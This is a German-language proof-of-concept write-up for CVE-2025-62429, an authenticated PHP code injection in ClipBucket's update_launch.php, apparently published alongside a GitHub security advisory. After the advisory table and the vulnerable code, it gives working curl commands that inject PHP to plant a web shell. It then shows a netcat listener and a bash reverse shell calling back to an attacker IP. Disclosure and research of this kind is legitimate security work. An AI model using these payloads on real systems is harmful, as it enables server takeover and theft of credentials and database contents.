
CVE-2025-62429 | clipbucket RCE
Proof-of-Concept für RCE via PHP-Code-Injection in update_launch.php
Offenlegung: Ursprünglich von mir gemeldet via GHSA-3h9c-7j8r-xc3v
⚠️ Nur für autorisierte Pentesting-/Forschungszwecke.
| Feld | Wert |
|---|---|
| CVE ID | CVE-2025-62429 |
| Schweregrad | 🔴 Hoch |
| CVSS-Score | 7.2 |
| CVSS-Vektor | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: OS-Kommandoeinschleusung, CWE-94: Code-Einschleusung |
| Betroffenes Produkt | ClibBucket <= 5.5.3 - #79 |
| Behobene Version | 5.5.3 - #80 |
| Advisory | GHSA-3h9c-7j8r-xc3v |
Eine Schwachstelle zur authentifizierten Remote-Code-Ausführung (RCE) existiert in ClipBucket v5.5.3-61. Die Schwachstelle wird als CWE-94: Unzureichende Kontrolle der Code-Generierung ('Code Injection') klassifiziert. Die Anwendung bereinigt benutzergesteuerte Eingaben, die zur Generierung von ausführbarem PHP-Code in update_launch.php verwendet werden, nicht ordnungsgemäß. Ein authentifizierter Administrator kann dies ausnutzen, um eine vollständige Befehlsausführung auf dem zugrunde liegenden Server zu erreichen, wobei die Berechtigungen von einem Web-Administrator auf den Systembenutzer (z. B. containeruser) eskalieren.
Die Schwachstelle befindet sich in upload/admin_area/actions/update_launch.php. Dieses Skript ermöglicht Systemaktualisierungen, indem es dynamisch ein temporäres PHP-Hintergrundskript generiert.
Verwundbarer Code-Auszug: upload/admin_area/actions/update_launch.php (Zeilen 40-86)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
Ausnutzungsmechanismus:
Da der Parameter type ohne Maskierung oder Bereinigung in die Zeichenkette $data eingefügt wird, kann ein Angreifer ein einfaches Anführungszeichen (') verwenden, um aus dem String-Literal-Kontext auszubrechen. Er kann dann beliebige PHP-Funktionen (wie system() oder file_put_contents()) einschleusen und den Rest des ursprünglichen Codes mit // auskommentieren. Dies führt zur Ausführung vom Angreifer bereitgestellten Codes mit den Berechtigungen des PHP-CLI-Prozesses.
PHPSESSID-Session-Cookie.
Wir demonstrieren die Schwachstelle zunächst durch die Bereitstellung einer persistenten Web-Shell im Dokumentenstamm.
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
Nach Bestätigung der RCE wird eine interaktive Shell für die Post-Exploitation eingerichtet.
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
Der Angreifer-Rechner empfängt eine Verbindung und gewährt vollen interaktiven Shell-Zugriff als containeruser.
Eine erfolgreiche Ausnutzung ermöglicht es einem Angreifer, beliebige Systembefehle auszuführen. Dies führt zu:
config.inc.php) und die gesamte Datenbank zu lesen.Dieses Problem hängt mit der zuvor offengelegten Schwachstelle zusammen:
Bei weiterer Analyse wurde festgestellt, dass die Schwachstelle aufgrund einer unvollständigen Lösung weiterhin in ClipBucket v5.5.3 besteht.
Während die ursprüngliche Sicherheitsmeldung einen Teil des Problems behandelte, blieb der PHP-Code-Injection-Vektor über den Parameter type in update_launch.php ausnutzbar.
Diese Sicherheitsmeldung enthält zusätzliche technische Details, eine Überprüfung der neuesten Version und ein vollständiges End-to-End-Ausnutzungsszenario.